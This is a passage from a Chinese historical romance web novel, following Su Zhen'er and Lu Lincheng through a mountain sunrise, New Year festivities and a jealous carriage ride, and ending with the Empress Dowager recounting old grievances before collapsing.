“还有那次彭城之战,原来真的不是巧合。”苏甄儿突然凑近,她单手轻轻环住男人臂膀,贴着他的耳朵说话,“陆麟城,你是我的英雄。” 陆麟城一下呆愣住。 他眨了眨眼,还没反应过来,又听苏甄儿娇羞道:“傻子,我在回应你的告白。” 陆麟城呼吸骤急,他猛地一下起身想将人打横抱起,却因为伤势未好,所以无法如愿- 进入一月,温度骤降。 还有半个多月的时间就要过年了,陆麟城的伤也养得差不多了。 金陵城封禁已解,再过几日,他们就要从太庙撤离。 陆麟城坐在榻上,十三将手中的调查结果递给他。 “王爷,那人身上多处被炸烂,仵作检查数遍,意外拼凑出来一个图案,就是这个。” 陆麟城低头,看到纸上的手绘图案,呼吸骤然一紧。 他侧坐在榻上,阳光从斜后方照入,一抹幽绿之色从他眸中闪过。 陆麟城攥紧手中纸张,随后垂目将其扔进榻边炭盆之中。 “我知道了,退下吧。” “是。” 十三躬身退下,出门时正碰到抱着一捧梅花枝进来的苏甄儿。 “王妃。” “嗯,十三,下午好啊。”苏甄儿心情颇好,她将手中梅花枝插入花瓶之中,然后扭头看向坐在榻上的陆麟城,“你怎么还没换好衣物?马车都准备好了。” 苏甄儿和陆麟城约好,今日要去凤霞山,弥补上次没有看到日出的遗憾。 “对了。”苏甄儿又想起一件事,她从妆奁盒子里掏了一会,终于掏出一支红玛瑙珠花。 陆麟城就认出了这支熟悉的珠花。 “你替我戴上。” 苏甄儿将这支红玛瑙珠花递给陆麟城。 陆麟城单手接过,小心翼翼抚了抚上面的珠花,然后抬手,郑重的替苏甄儿插到发髻上。 苏甄儿一脸喜色的去照镜子,看到那支横插在精美发髻上的珠花,插得跟插香似的,突兀又难看。 与此同时,陆麟城在她身后道:“好看。” 好看你个头!- 重新整理好珠花,又收拾了一顿东西,等到日落时分,两人终于出了太庙。 马车辘辘前行,苏甄儿靠坐在马车内,时不时担忧地看向陆麟城的后背,“你的伤真好了吧?” 男人凑过来,“你摸摸?” 苏甄儿双眸轻动,单手触到陆麟城腰身。 男人身体一僵,安安静静坐了回去,“别乱摸。” “不是你让我摸的?”苏甄儿无辜脸。 陆麟城:…… “这次我好好摸。”轮到苏甄儿凑过去。 “不相信你了。”陆麟城抿唇,嘴上拒绝,身体却没有抗拒。 男人身子骨实在是好,太医预言要静养三个月的伤,他趴了半个多月就趴不住了。 后背处已经结疤,斑驳的伤痕像弯曲鼓起的虫子,苏甄儿隔着衣料轻轻抚了抚。 “有点痒。”陆麟城往前躲了躲。 “结疤的时候就是会痒,太医说不能挠。” “我是说,”陆麟城咽了咽口水,低头看向苏甄儿,“你摸的我心痒。” 马车帘子轻晃,车内忽明忽暗。 苏甄儿与陆麟城对视,然后一个起身坐到了他身上- 马车颠簸着来到凤霞山。 十三抬头,安静不语,独自一人往一旁去了。 车内,陆麟城单手抚着苏甄儿,看着她潮红泛湿的脸,像蒸腾的樱桃色,散发着氤氲淡香。 他低头,舔了一口。 苏甄儿懒得动,气力都用完了。 她歪头靠在他脖颈间,嗅到他身上夹杂着药香的皂角香气。 因为是看日出,所以他们暂时还不准备下车。 苏甄儿缓了一阵,慢慢开口,“我们一定要第一个看到日出,这样才最灵验。” “灵验什么?”陆麟城好奇。 苏甄儿面色突红,“你自己去问山神。”- 附近有山泉水,十三去提了一桶过来烧热。 陆麟城替苏甄儿擦拭干净,两人换了衣物窝在马车内休息。 难得在外过夜,苏甄儿略显得有些兴奋,她准备了很多小玩意用来熬夜。可因为她的生物钟实在是太准了,所以与陆麟城下了一会儿围棋之后,她就开始犯困。 不知道自己是什么时候睡着的,棋子落在棋盘上,被陆麟城眼疾手快地接住。 男人轻轻揽着女人的头,让她靠得更舒服些,并随手扯起一旁的毯子盖在她身上。 马车内覆着厚毡,封住漏风的窗户,门帘子也被压住,漏不进一丝风。 苏甄儿醒过来的时候马车内昏暗非常,她一下坐起来,抬手拨开马车帘子,看到天际处一点点淡色的微光。 “陆麟城,陆麟城!”苏甄儿伸手去拍他。 陆麟城睁开眼,还没彻底清醒过来,就被苏甄儿拽下马车。 苏甄儿兴致极高,她拉着陆麟城一路往上爬。 凤霞山不高,上次她跟陆麟城是骑马过来的,这次没有骑马,两人一路爬行,虽然没有了满山红的枫叶,但冬日野梅稀疏,倒也有几分野趣。 清晨清新的空气穿过胸膛,苏甄儿感觉身心都跟着轻盈了许多。 两人牵着手,一步一步往上爬。 等到山顶,日头还未出来。 陆麟城将身上的斗篷解开铺在大石上。 苏甄儿提裙坐上去,她一边喘气,一边也伸手解开了身上的斗篷。 爬了一会山,给她热的不行。 日头渐渐升起,苏甄儿和陆麟城两人一齐坐在大石上。 “日头出来了!”苏甄儿惊喜出声。 陆麟城随她一道起身,两人抬目。 绚烂的日出,伴随着漱云流霞,山风迎面吹来,陆麟城替苏甄儿将斗篷重新穿戴好,并戴上兜帽,遮挡山风。 “真好看。”苏甄儿忍不住惊叹。 陆麟城偏头,看向站在自己身侧的苏甄儿。 霞光印照在女子眼中,瑰丽无比。 “嗯,”陆麟城点头,盯着苏甄儿,声音柔软,“真好看。” 如愿以偿跟陆麟城一起看到日出,苏甄儿心情极其愉快,脱口而出,“若非上次你吃醉了酒,胡言乱语说有喜欢的人,我们早看到了。” 男人恍然大悟,满眼无辜地看着她,“所以你想和离是因为,误会我喜欢别的女子。” 苏甄儿:…… “我喜欢你,自然容不下你喜欢别的女子,谁让你闷葫芦似得,也不说清楚。”苏甄儿气急败坏,又羞又恼的去掐陆麟城。 自然是又再一次的掐到一把子硬肉。 男人一点伤都没有,她倒是掐得手疼。 “我……” “你什么?” “我错了。” “知道就好。” 说完,苏甄儿又想到了另外一件事。 北城王府西厢房后面的密室,里面的东西可不是一朝一夕就能收集起来的。 “陆麟城,你是什么时候喜欢上我的?你不会是在姑苏的时候就对我一见钟情了吧?” 眼前的男人跟记忆中的那个少年简直天差地别,也不怪苏甄儿认不出来,光个头上来说就已经是南方小葱跟北方大葱的差距了。 “不是。”男人摇头。 “那是什么时候?”苏甄儿好奇。 她从小美到大,到底是哪个时候美到巅峰吸引住了男人。 苏甄儿想着想着,忍不住伸手拨了拨发丝,露出自己完美的侧颜。 “你泼我粥的时候。” 苏甄儿:…… 你说的难道就是那个第二次见面,她哭得一把鼻涕一把眼泪,气势汹汹泼你粥的时候? 晨风拂面而过,苏甄儿挂起笑,“我们回去吧。” “你泼粥的时候……” “闭嘴。” “哦。” 两人转身往山下走,走出几步,陆麟城突然面色一凝。 腰间软剑出鞘,直接削断两人身侧横出来的冬日枯枝。 枯枝落地,躲在大石后面的两人受到惊吓,立刻举着手站了起来,其中一人高声提醒道:“是我,闻严。” 居然是周玄祈。 苏甄儿偏头,还看到了躲在周玄祈身后的曹梦湄。 “曹小姐?你没有出城?” 曹梦湄略显尴尬的左右忙碌,也不知道在忙些什么。 苏甄儿眯眼盯着两人看,“曹小姐,你身上的外衫……很别致。” 苏甄儿拖长的音调让曹梦湄吓得大喘气。 “是,是啊。”她伸手扯了扯明显不是她自己的男人外衫。 气氛安静了一会,四人四目相对。 周玄祈打破这古怪的沉默,轻咳一声,“好巧。” “下山吧。”陆麟城收剑,无视两人,牵起苏甄儿的手下山。 苏甄儿意味深长的朝曹梦湄和周玄祈看了一眼,然后随陆麟城下山。 看着苏甄儿和陆麟城的身影消失在石阶拐角处,曹梦湄重重吐出一口气,然后使劲拍打周玄祈,“都怪你,非要来看什么日出!” 周玄祈被打的抬不起头,突然想到,“不对啊,我们为什么要偷偷摸摸的?” 曹梦湄也愣住了。 趁着曹梦湄发愣的时候,周玄祈突然轻笑一声,然后俯身,倾身亲上她的唇。 “唔?” 霞光未落,如霞帔般披落。 曹梦湄眨了眨眼,突然听到旁边传来树枝被踩断的声音。 两人迅速分开。 是去而复返的苏甄儿和陆麟城。 陆麟城目不斜视地走过去,将落在大石上的斗篷拿起来。 比起陆麟城的坦荡,苏甄儿略显尴尬,“那个什么,你们继续。”她拉着陆麟城赶紧跑了。 这回是真走了。 曹梦湄再次使出巴掌,使劲抽打周玄祈。 “哎呀哎呀,受伤的胳膊好疼。” “我没打你胳膊啊,我看看。”曹梦湄被吓着了,立刻停止了自己对周玄祈的“虐待”。 “哎呦,哎呦……”周玄祈叫喊的厉害,曹梦湄赶紧搀扶着人去陆麟城和苏甄儿刚才坐的大石上坐下来。 这里视野宽阔,晨光普照。 周玄祈看着曹梦湄那张担心的脸,没忍住又亲一口,“不疼了。” 曹梦湄:……就知道是骗她的! 四周安静下来,风穿过山野,撩起两人身上的长袍宽袖。 曹梦湄伸手抚了抚自己被吹散的发丝,“当初我没有派刺客刺杀你。” “我知道,闻严抓住郭峰后已经查探清楚了。当初是他擅作主张,带人追杀我。” “你早知道了?那你还要我嫁给别人?”曹梦湄一下拔高声音,然后又落回来,“难道,难道你是在意我抛下你嫁给先太子的事?” “当然不是。”周玄祈表情严肃的否定,然后开口解释道:“我希望你不是因为政治联姻,所以想要与我成亲,我希望你能获得真正的幸福。” 曹梦湄愣在那里,她呆呆地看着周玄祈的侧颜,直到男人转头,抬手擦掉她不知何时滑过面颊的泪水。 曹梦湄呐呐开口,“我之前是心甘情愿嫁给先太子的。” “嗯,”周玄祈点头,“先太子与先帝喜战,你若不嫁,曹氏不宁。” “你不生气吗?” “生气。”周玄祈低下头,“可是气过一阵就好了,就算你的身份不是曹氏女,而是一个普通女子,抛了我去嫁给别人,我也只会一边生气,一边爱你。” 周玄祈想,他大抵是中了曹梦湄的毒。 他是真的恨她抛弃了他,可又是这么爱她。 爱到毫无原则,毫无底线。 之前他还嘲笑陆麟城在他那王妃面前搓揉圆扁的跟个面团似的,可这事放到他自己身上,他才明白,爱这个东西它就是这么霸道,霸道的让人丧失所有的理智和尊严。 曹梦湄的视线被泪水模糊,她一把抱住周玄祈,将自己深深地嵌入他的身体中。 “周玄祈,我真的想嫁你。” “不是因为曹氏,也不是因为北方的百姓,而是因为我也爱你。” 第64章 上车吧 天气越发冷了, 苏甄儿每日里都离不开暖手的铜炉,尤其是在这山上。幸好,太庙的事情告一段落, 众人启程回金陵, 虽然金陵城的温度也不高,但比起山上的太庙来说,总暖和一些。 回程路上,苏甄儿缩在马车内, 怀中抱着铜炉, 迷迷糊糊睡了过去。 前些日子因为要照顾陆麟城,再加上忧心其伤势, 所以苏甄儿都休息的不算太好。 如今男人伤势大好, 苏甄儿总算是把心放回肚子里。如此,马车虽颠簸, 但她倒睡得香甜, 甚至还做起了梦。 说是梦, 其实也不算梦, 而是一段已经被她遗忘的记忆。 初春的天,地上刚刚冒出些嫩芽, 一半灰一半绿。 山上是最先感受到春意的地方。 尚未褪去寒意,依旧有稀疏梅花悬挂枝头的姑苏寺外, 河边嫩叶初露,显出春色和冬色齐现的景观。 树下,穿着厚实的少女将手里的半旧弓箭递给少年。 “这是我从前自己用的弓箭,现下也用不到了, 就给你吧。对了,你日后出去, 要说,我是你的师傅,”少女虽戴着毡帽,但半张脸露在外面,鼻头被吹得红彤彤的,她说话的时候有隐约白雾透出,语气之中带着些大小姐的天然骄纵,“算了,男女大防有别,我日后是要去嫁人的,我们还是不认识的好。” 少年站在她面前,与她齐高,低头的时候黑发散乱,更看不清那张脸了。 他伸出手,手掌上的伤痕还没完全好,纵横交错的伤口和斑驳的皮肤包裹着粗大的指节,很难让人想象这是一个少年的手。 隔着乱发,他看到少女的视线落在他的手上。 少女的手看起来就异常柔软,白皙,纤细,青葱一般,连指尖都透着粉。 少年一下乱了方寸,他一把握住那张弓,然后用宽大的袖摆遮挡住自己的手。 苏甄儿听到他很轻很低的声音,如同蚊子一般,“谢谢……” 瘦弱、哑巴、阴郁。 这是少女时期的苏甄儿对少年的评价。 马车突然颠了一下,苏甄儿醒过来,还有点发懵。 怪不得她认不出来,少年时期的陆麟城跟现在相比,差距实在是太大了。 陆麟城撩开马车帘子,温柔唤她,“到家了。” 苏甄儿抬头看他,眼前男人的脸跟记忆中少年的脸融合在一起,恍如隔了许多许多年,记忆终于拼凑完整。 她说不认识,他就真的一句话都不提。 傻瓜,怎么这么听话。 苏甄儿伏在柔软的垫子上,起身的时候身上的毯子滑下来。 怀里的铜炉还暖着,车内散发着淡淡的芙蓉香。 苏甄儿朝陆麟城伸出双臂,娇娇道:“你抱我出去。”- 上次和离搬家,搬了大半个月,她的东西都搬空了。 因此这次回来,苏甄儿便让陆麟城先住在英国公府。 因为这次受的伤比较严重,所以周玄祈特意给陆麟城放了一个带薪长假,正好能在家里一起过个年。 “王妃,绣花楼的人来了。” 绿眉端着茶盘进来,身后跟着几个绣娘。 “上次您让替奇哥儿做的衣裳,绣花楼做好了,今日绣娘将衣裳带了过来,若是有不妥当的也好当场改改。” “好,你去把奇哥儿叫过来。”苏甄儿正坐在榻上跟陆麟城一起写过年要用的“福”字和对联。 绿眉撩开厚毡,去了奇哥儿的院子。 屋内烧了好几个炭盆,暖和的紧,苏甄儿穿了件小袄,身上盖着毯子,指尖蹭到墨汁,正准备擦掉,突然灵光一动。 她抬眸朝认真写对联的陆麟城看一眼,“相公,你这里脏了。” 苏甄儿伸出手指,替陆麟城擦了擦面颊,然后看着他原本光洁白皙的面颊上留下一道墨色痕迹。 苏甄儿抿着唇,偷偷笑弯了眼。 陆麟城歪头看她,还不知道发生了什么事。 苏甄儿无辜脸回视。 “王妃,奇哥儿来了。” 绿眉掀开帘子进来,看一眼陆麟城,一愣,低头。 奇哥儿站在绿眉身侧,看一眼自家姐夫,偏头。 “噗……”苏甄儿率先笑出来。 随后,绿眉和奇哥儿也忍不住跟着笑了出来。 陆麟城:…… 陆麟城有所感觉地伸手擦了擦脸,指尖一片熏黑。 好吧,他明白了。 “我去洗个脸。”陆麟城起身,转身之际,突然伸手掐了一把苏甄儿的脸。 “啊!”苏甄儿抬手阻止,没有得逞,也被擦成了小花猫。 小绿盘在榻尾睡得正香,被吵醒,“喵~” 这下好了,变成苏甄儿和陆麟城一起去净面洗手了。 隔着一层屏风,奇哥儿换上新衣裳。 苏甄儿偏头看过一眼,少年初长成,瞧着竟有一股出尘清冷气质,只是神色略呆,小古板一般。 看着奇哥儿,苏甄儿不知不觉又想到陆麟城。 初遇之时,陆麟城极其狼狈,相比起那些千里奔逃而来的难民,大夫说他身上还有刀剑之伤。 她没有问过陆麟城从前的事。 她想,人总该有一些秘密。 或许陆麟城一辈子都不会告诉她,也或许有一日,他会亲口告诉她,他从前的那些经历。 “阿姐,衣裳很合身。”奇哥儿试完衣裳,略有些急切道:“老师还在等我。” 正站在苏甄儿身边净手的陆麟城听到此话,神色一顿。 苏甄儿点了点头,“不要换了,你就穿这身去吧,外头冷。”奇哥儿身上一套合身的月白色袄子,外搭红色斗篷,整个人看起来都鲜亮了不少,也正好衬过年的气氛。 “对了。”苏甄儿想起一件事,她走到梳妆台前,从抽屉里取出一个红包递给奇哥儿,“这是给你老师的过年礼,去吧。” 奇哥儿拿着红包去了。 撩开厚毡的瞬间,细碎的雪飘进来。 “下雪了。”苏甄儿恍惚一阵,跟在奇哥儿身后出了屋子。 屋外确实冷,可金陵城很难得才见雪。 这雪又细又小,跟发育不良似的。 苏甄儿伸手,托住一点雪,它们融化在指尖,变成冰冷的水。 陆麟城取了斗篷裹住苏甄儿,并替她戴好毡帽,细细压住额头鬓角,避免风吹进去。 苏甄儿的脸被风吹得有些凉,她兴奋地抓住陆麟城的手,“陆麟城,下雪了,是今年的初雪吗?” 虽然还有几日才过年,但大街小巷之中已十分有年味。 隔着层层院子,苏甄儿还能隐约听到外面传来的鞭炮喧闹之声。 “嗯,是初雪。”男人点头。 苏甄儿站在檐下,仰头欣赏初雪。 她想到之前跟陆麟城的初雪之约,她失约了。虽然后面补偿给了他,但毕竟是错过了。 “我们出去吧?”苏甄儿将陆麟城推进去,“去拿你的大氅。绿眉,去准备马车。”- 大街上果然热闹,苏甄儿从马车上下来后一直牵着陆麟城的手在小摊子前闲逛。 过年的时候也是生意最好的时候,辛苦了一年终于能喘息几日,大家换了新衣,千里奔袭回家与亲人团聚,再一起出来买年货,小孩子们也能吃上自己最爱的零嘴。 各处可见一家人其乐融融,阖家欢聚的场面。 从前许多年,她看不得这样的场面,因为那是她曾经拥有,然后又被残忍剥夺的幸福。 当她以为自己一辈子都要背负着这样的伤痛之时,陆麟城出现在她身边,给了她这份安稳。 苏甄儿想,她终于不再羡慕别人的幸福,因为她也有了。 苏甄儿握紧陆麟城的手,两人来到文德桥上。 马上就要过年了,桥上来来回回挤满了人。 陆麟城将苏甄儿护在身侧,两人靠在栏杆上,看着被絮雪覆盖的秦淮河。 河面上烛光熠熠,花船来回游荡,丝竹袅袅,琴音不歇。 天际处突然窜起烟花,烟花照亮夜空,身边的人都在欢呼雀跃。 苏甄儿也忍不住仰头。 火树银花,将秦淮河畔渲染成了不夜天。 气氛热烈而美好,苏甄儿将视线转向陆麟城,突然发现男人正在看着她。 那一瞬间,苏甄儿想,一个人到底要多喜欢一个人,才能这样看着她这么多年。 “烟花好看还是我好看?”苏甄儿突然踮脚伸手捧住男人的脸。 “你好看。”陆麟城俯身低头与她说话。 他单手撑在栏杆上,苏甄儿被他裹在大氅里。 方寸之地间,用大氅隔开的一小块地方,就好似是陆麟城特意给她制造出来的安全所。 苏甄儿揪紧他的腰带,在喧闹的人群里,贴近他的心口- 看完烟花,两人牵着手坐上马车回家。 天色已晚,因为天气的原因,所以街上行人渐渐稀疏。 苏甄儿想着要给奇哥儿买一份过年礼的事,让马车夫将车停在书店门口。 天气太冷,苏甄儿挑了一套笔墨纸砚便出来了。 临上车前,她看到一个熟悉的身影从书店前路过。 那人显然也看到了她,立刻上前来恭恭敬敬行礼,“王妃。” “大人怎么在这?” “刚从公府出来,正要回家。”此人正是奇哥儿的新先生,那位新晋探花郎。 他穿着半旧的长袄,容貌清秀,身型颀长,按照探花郎一定不丑的标准来说,这位探花郎自然是不丑的,甚至还有些脱俗的气质。因此,潭塘在金陵城内也算小有名气,各家贵女争相争抢。 “大人是步行?” “是啊,王妃不知,养车马的费用很贵的,还有马车夫,不仅要管饭还要管住,我如今住的宅子还是租的呢。” 那股脱俗的气质立刻就被生活的重担压垮。 苏甄儿觉得这位探花郎跟那位皇帝有些相似,处处透露着对金钱的渴望。 潭塘是奇哥儿的先生,更是皇帝看中的内阁苗子,苏甄儿对他自然是十分客气的,“大人若是不嫌弃,我送大人一程吧。” “这,不敢劳烦王妃……” “无碍,上车吧。” “这,这不太合礼数……” “我相公也在。” 苏甄儿话音刚落,那边陆麟城就提着笔墨纸砚从书店内出来了。 老板寻上好的礼盒费了一些时辰,陆麟城才比苏甄儿慢一步出来。 “王爷。”潭塘赶忙行礼。 陆麟城上下打量他一番,突然笑了一声。 陆麟城不常笑,因此,他虽长得好看,但笑起来时总让人感觉……有些阴森。 起码潭塘是这样感觉的。 “潭大人,上车吧。”- 马车内气氛有些诡异,陆麟城的视线慢条斯理的从潭塘身上略过,然后又略过,再再略过…… 潭塘低头,如坐针毡。 北辰王杀名在外,听说更是阎罗转世,连爆,炸都没把他炸死,外传他是被阎罗王从生死簿上除名了。 如此一位杀神坐在自己对面,谁会不慌? 可偏偏那位看起来娇娇弱弱的王妃适应良好,甚至还有闲心跟他说话。 潭塘低着头,也不知道自己回答了什么,只感觉那位北辰王的目光像是要将他凌迟,可偏偏他又总看着他笑。 终于挨到家,潭塘迫不及待下了马车,逃也似的跑了。 苏甄儿双手置在膝盖上,微微倾身歪头看向陆麟城。 男人脸上那古怪阴森的笑还没收回来,被她撞个正着。 新晋探花郎跟和离的北辰王妃八卦绯闻满天飞,陆麟城不可能不知道。 “怎么了?”苏甄儿明知故问。 男人收了笑,低头凝视她,“吃醋了。” 第65章 除夕日 上次苏甄儿留在马车内的夜明珠还没收回去, 光线落在他侧颜上,衬出优越的弧度线条。 然后,男人再次轻启薄唇, “吃醋了。” 连说两遍, 像是怕她听不到似得。 “我与他只是雇主和雇员的关系。”苏甄儿解释道。 “那……”陆麟城突然凑近,双眸中溢着光色,说出了苏甄儿的经典名言,“我好看还是他好看?” 苏甄儿:…… 苏甄儿立刻伸手捧住陆麟城的面颊, “你坐在我身边, 我哪里还有闲工夫看别人。”女人贴近,说话的时候几乎要触到陆麟城的唇, “你是我见过的, 最好看的男人。” 这句话苏甄儿可一点不掺假。 陆麟城的长相实在是太优秀了,他的容貌昳丽如日, 比苏甄儿见过的所有男人都要好看, 完全长在她的心巴上。现在喜欢上后, 更爱了, 怎么看都好看。 陆麟城果断凑上去,单手扣住苏甄儿地方后脑勺, 让她贴近自己。 两唇相触,男人舔过女人的下唇, 尝到口脂香气,“住回来吧。” 苏甄儿喘着气应声,“嗯。”- 搬了近一个月的行礼又从英国公府搬回北辰王府。 公府管事苦着脸找到绿眉,“绿眉姑娘, 应该不会还有下一次吧?” 绿眉立刻冷脸,“孙伯, 你胡说什么。” 管家孙伯赶紧摆手,“我自然是盼着王妃和王爷好的,只是我这把老骨头哟,这几百个箱子……” 孙伯一边说话,一边摇头。 绿眉也忍不住跟着咽了咽口水。 王妃的贴身物品基本都是她收拾的,如果再来一遍的话……绿眉用力摇了摇头,不会的,不会的。 “祝王妃跟王爷百合好合,永远不分手。”绿眉双手合十祈求上天。 “绿眉,快进来收拾东西。”苏甄儿自己也没闲着,正在将自己心爱的首饰装进妆奁盒中,一扭头透过窗户看到绿眉正双手合十在拜日。 苏甄儿:???- 二月底过年,除夕日,阳光颇好,只是温度不高,风也挺大。 苏甄儿裹得雪球一般,指挥奇哥儿往门上贴“福”字。 “哎呀,贴歪了,往上面一点……” 奇哥儿乖乖往上。 苏甄儿又见那边陆麟城扛着梯子去贴对联,赶紧又过去帮忙,当然是用嘴。 “往下面点,这边歪了……” 陆麟城乖乖往下。 终于将对联和福字贴好,苏甄儿站在门前欣赏,然后夸赞道:“多亏了我。” 奇哥儿:…… 陆麟城:…… “好了,今夜要守岁,你们谁都不准睡觉。”苏甄儿拍拍手,对身后两人说完,便自己先行进了屋子准备补个觉,迎接晚上的守岁活动。 今日除夕,不止王府里热闹,街上也热闹极了。 各式各样的过年装饰品卖得比平日里贵上好几倍,还有时刻不歇的鞭炮声,吵得人脑仁疼。 不过一年就一次,苏甄儿忍了。 王府和公府内半旧的红灯笼也被替换了下来,换成今年新做好的大灯笼,好几只上面还有苏甄儿亲手写的福字。 午后睡了一觉,苏甄儿起身之时主屋内的炭盆已经被换过一次。屋内暖烘烘的,苏甄儿掀开身上毯子,打了帘子出去,便发现外面天色已然擦黑。 星辰万里,月色朦胧。 院中盏盏红灯照亮一方天地。 “王妃,饺子包好了。” “嗯,分给留守值班的人,除了三倍月例之外,再添一个红包。” 除夕夜的菜色讲究八菜一汤,苏甄儿格外又多添了一份饺子,因为陆麟城是北方人。 奶母站在院子门口探头探脑。 “奶母,什么事?” 奶母走过来,看一眼站在苏甄儿身边的陆麟城。 苏甄儿道:“王爷不是外人。” 既如此,奶母也就直说了,只还是压低了声音,“今年还是不摆吗?” 苏甄儿摇头道:“不摆。” 奶母脸上露出欲言又止的表情,似乎是想劝她,可最后还是点了点头。 她伸手拍了拍苏甄儿的手背。 苏甄儿的表情柔和下来,“奶母,除夕快乐。” “好,除夕快乐,甄姐儿。” 将奶母送到院门口,苏甄儿一转头,看到站在自己身后神色疑惑的陆麟城。 “下次再跟你解释,饺子要冷了。”- 膳堂不大,只坐了他们三人。 “尝尝饺子。”苏甄儿单手托腮看向男人。 陆麟城坐在主位,夹起一只饺子放进嘴里。 茴香猪肉馅料的饺子,一口下去就咬到了藏在里面的铜钱。 “快许愿。”苏甄儿催促陆麟城。 男人吐出铜钱双手合十闭眼许愿。 “好了。”苏甄儿又笑眯眯的催促奇哥儿吃饺子。 奇哥儿作为南方人,对饺子的爱一般,他夹起一只饺子放进嘴里,一口下去,也咬到一枚铜钱。 “许愿,奇哥儿。”苏甄儿催促。 奇哥儿学着陆麟城的样子许愿。 一盘饺子里吃出两枚铜钱,让人略感运气太好,直到苏甄儿自己夹了一只饺子,然后也在里面吃出一枚铜钱之后,奇哥儿终于忍不住开口,“阿姐,你放了多少铜钱?” 苏甄儿美滋滋道:“当然是一只饺子一枚铜钱啦。”说完,苏甄儿又夹起一颗饺子放进嘴里,喜滋滋地吃到一枚铜板,继续许愿,“永远都有新衣裳穿。” 奇哥儿:…… “喵~”小绿不知道从哪里窜出来,围着苏甄儿的脚边绕来绕去,尾巴竖得直直的。 苏甄儿笑眯眯地夹了一颗饺子,放进小绿碗里。 自然,小绿也吃到了铜板。 年夜饭吃完,大家开始进行娱乐活动。 因为天气太冷,所以苏甄儿选择窝在主屋内跟陆麟城下棋。 陆麟城的棋风跟他的人很像,喜欢将人杀得片甲不留。 苏甄儿的棋风则比较委婉,喜欢出阴招。 棋盘上无夫妻,只有对手。 在连输三局之后,苏甄儿红温了。 她气得差点把棋盘掀了,幸好第四局她赢了。 苏甄儿长长舒出一口气。 陆麟城也不着痕迹舒出一口气。 坐在旁边观战的奇哥儿也默默舒出一口气。 因为下午补了觉,所以苏甄儿成功带队守岁成功。她牵着奇哥儿和陆麟城的手走到主屋门口,抬头望向天空。 “王妃,要放了!”绿眉在远处招手。 “放吧!” 苏甄儿话罢,漫天烟花瞬间升空。 然后整片天空都被金陵城的烟花覆盖住,大家都沉浸在除夕夜的欢乐之中。 “望河清海晏,民康物阜。”奇哥儿突然开口。 “愿日有熹,月有光,富且昌,寿而康,新春嘉平,长乐未央。”苏甄儿也道。 两人一齐看向陆麟城。 男人清了清嗓子,“望所爱之人,百事皆如意。” 陆麟城跟苏甄儿目光相撞,下一刻,两人一齐抬头,垂在身侧的手却隔着中间的奇哥儿从他身后牵在了一起。 烟花不断,三人仰头看了许久。 “阿姐,我困了。”奇哥儿毕竟年纪还小,正是长身体的时候。 苏甄儿伸手揉了揉他的脑袋,给了他一个大红包,放人回去休息。 烟花绽放,苏甄儿仰头看向还在盯着天空的陆麟城。她凑上去,伸手掰下他的头,咬着他的耳朵说话。 “我的北辰王,除夕快乐,祝你……永远爱我。” 男人弯着身体,瞳色被烟花点燃,他低头,凝视着苏甄儿。 “我爱你。” 伴随着男人开口,烟花骤然停歇一瞬,然后又猛地咻然炸开,就像苏甄儿此刻颤抖的心神。 她抬手圈住陆麟城的脖颈,踮脚去亲他。 陆麟城垂目看向怀中敛着长睫,香腮绯红的女子,那句“你呢?”突然堵在了喉咙里,只是吻得更深- 过了年,周玄祈和曹梦湄大婚的日子定下来了,就在今年六月。 帝后大婚,流程复杂,要经六仪,分别是祭告天地、临轩命使、纳采礼、告庙仪,册后。 因此,这半年多的时间内,苏甄儿也没怎么见过曹梦湄,而原本预计要在今年回来的周莲芝和谢楚安又不知被什么事情绊住了脚。 春去夏来,六月的天不冷不热,册后大典如期举行。 听闻远在皇庙的太后身体抱恙,不能前来。 相比起金陵城内帝后大婚的热闹,皇庙内则冷清的过分。 距离上次离开金陵已有数年,太后的容貌在一瞬之间老了许多,远没有在金陵城内时华丽且锋芒毕露。 她发饰尽除,穿着素衣,跪在蒲垫上,佛龛内供奉着素罗袍观音。 佛香袅袅,太后身后出现一位黑衣人。 太后并未回头,只慢慢开口道:“太庙刺杀失败了。” 黑衣人安静地站在那里,语气阴沉,“只差一点。” 太后道:“他的运气一向不好,错过郭峰这个机会,想要寻另外一个机会,只剩下唯一一个法子。” 太后缓慢从蒲垫上起身,她梳起的发髻上有白色发丝隐现。 她转身,看向身后的黑衣人。 黑衣人身形高大,披着黑色斗篷,兜帽遮盖住容貌,只从垂在身侧的双手能看出来,是位长年持刀握枪的人。 “你没有被发现吧。” “没有,今日帝后大婚,到处都很热闹,人多杂乱,守备也松懈。” “大婚,哈哈哈,大婚。”太后的表情有一瞬狰狞,显然,周玄祈过的太好,让她十分生气。 太后转身,走向佛龛。 她垂目盯住佛龛前供奉着的酒,抬手给自己倒了一杯。 “哀家唯一放心不下的便是荣安。” 疯疯癫癫的荣安郡主现在依旧疯疯癫癫的。 “可若不走这一步,多年规划终成空谈。” 酒香混杂着佛香,太后一饮而尽。 冷酒入喉,太后目光下垂。 四周安静极了,佛香雾绕,太后攥紧手中空杯,开始说话,“哀家十七岁入宫便宠冠后宫,很快有了身孕,被封贵妃,十八岁生下他。 作为大周长子,他本该受尽宠爱,可惜,他父皇忌惮他祖父势力太大,寻了个由头,按了一个造反的罪名,直接秘密格杀于府内。 可怜他当时才十岁,生辰日刚破格被封了爵位,荣宠至极的时候,却发生了这样的事。 一朝跌落云端,先帝那狗东西大抵还念着是亲生骨血,留一条性命,圈禁在庸王府。 他那舅舅是个蠢的,先帝放过了他,当猪一样养着,只为了安抚我父亲手下暗藏的那些人。 哀家也被圈禁在宫内,不得外出一步。 如此过了许多年,大致是觉得已经将我父亲的人处置的差不多了,先帝良心发现,给哀家解了禁,也给他赐了婚,可依旧不许他出庸王府。 哪家的好姑娘愿意嫁给他这样一个王爷。 可她确实是个好姑娘,他们琴瑟和鸣,她很快有了身孕。 他们憧憬着美好前景,可皇后那个贱人看不得他过得好,也怕他威胁到她儿子的地位。 那个贱人病的很重,临死前,请求先帝把他驱除出金陵。 先帝应允了。 给了他一块封地。 那是如何一个苦寒之地。 他妻子身子弱,无法承受如此长时间的奔波。 先帝特此开恩,待他妻子生产之后再去封地,只是却不许他停留一步,定要他先行。 他走后半个月,他妻子生产了。 哀家去的时候,因为庸王府封闭,没有太医肯来,所以她已经难产而亡。 他没有见到她最后一面。 他在封地一直未娶,只有荣安这一个女儿。 哀家没有保护好她,让她变成现在这个样子。 周家欠我们的,永远都还不清。” 太后的语气从一开始的平缓到现在的激动、愤怒、怨恨,她伸出手,干瘦的指尖紧紧抓住黑衣人的胳膊。 突然,一口浓稠近乎于黑色的鲜血从她口中吐出。 一口接着一口,她身形瘫软在地。 黑衣人一把将人抱住。 门外守着的槿红听到动静推门进来,看到太后的模样,登时疾奔过去,“太后!” 